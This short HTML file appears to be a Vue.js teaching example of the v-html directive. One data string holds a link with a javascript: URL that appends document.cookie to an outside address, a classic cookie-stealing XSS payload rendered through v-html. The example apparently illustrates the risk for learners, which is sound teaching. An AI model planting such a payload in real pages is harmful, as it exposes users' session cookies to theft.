<html>
    <head>
        <meta charset="UTF-8" />
        <title></title>
        <!-- import Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。
        new Vue({
            el:'#root',
            data:{
                name:'Cetacean',
                str: '<h2>这是一个h2标签</br>222',
                str2: '<a href=javascript:location.href="http://www.baidu.com?" + document.cookie> 快点我!! </a>'
            }
        })
    </script>
</html>